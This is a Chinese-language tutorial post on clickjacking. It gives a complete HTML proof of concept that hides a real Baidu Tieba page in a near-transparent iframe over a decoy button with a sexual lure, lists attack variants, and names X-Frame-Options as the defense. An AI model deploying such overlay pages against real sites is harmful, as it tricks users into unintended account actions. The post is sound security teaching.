1. 程式人生 > >點選劫持(ClickJacking)

點選劫持(ClickJacking)

點選劫持

什麼是點選劫持?

點選劫持(ClickJacking),又稱“UI-覆蓋攻擊”,通過覆蓋不可見的框架誤導受害者進行點選而造成的攻擊行為。其本質是一種視覺欺騙。

利用方法

利用iframe或其他標籤的屬性構造一個精心構造的頁面,誘導受害者進行點選。

<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>點選劫持</title>
<style>
     html,body,iframe{
         display: block;
          height: 100%;
          width: 100%;
          margin: 0;
          padding: 0;
          border:none;
     }
     iframe{
          opacity:20;
		  filter:alpha(opacity=20); /* IE */
		  -moz-opacity:0.2; /* Moz + FF */
          opacity: 0.2; /* 支援CSS3的瀏覽器(FF 1.5也支援)*/
          position:absolute;
          z-index:2;
     }
     button{
          position:absolute;
          top: 355px;
          left: 555px;
          z-index: 1;
          width: 72px;
          height: 26px;
     }
</style>
</head>
     <body>
		   某XXX美女隱私照片兒
          <button>檢視</button>
          <iframe src="http://tieba.baidu.com/f?kw=學習"></iframe>
     </body>
</html>


如圖,精選構造頁面,通過誘導受害者進行點選
在這裡插入圖片描述
點選後提示加入成功,成功完成點選劫持。上面的示例只是半透明幫助理解點選劫持,實際攻擊者進行攻擊時透明設定為0,受害者是很難察覺出嵌套了其他的頁面的。如下圖。
在這裡插入圖片描述

進階(本質上還是UI覆蓋攻擊,只是實現手段不一樣)

  • Flash點選劫持
  • 圖片覆蓋攻擊(XSIO)
  • 拖拽劫持,主要用於資料竊取
  • 觸屏劫持(TapJacking)

防禦

X-FRAME-OPTIONS是目前最可靠的方法。在返回頭中設定 X-FRAME-OPTIONS。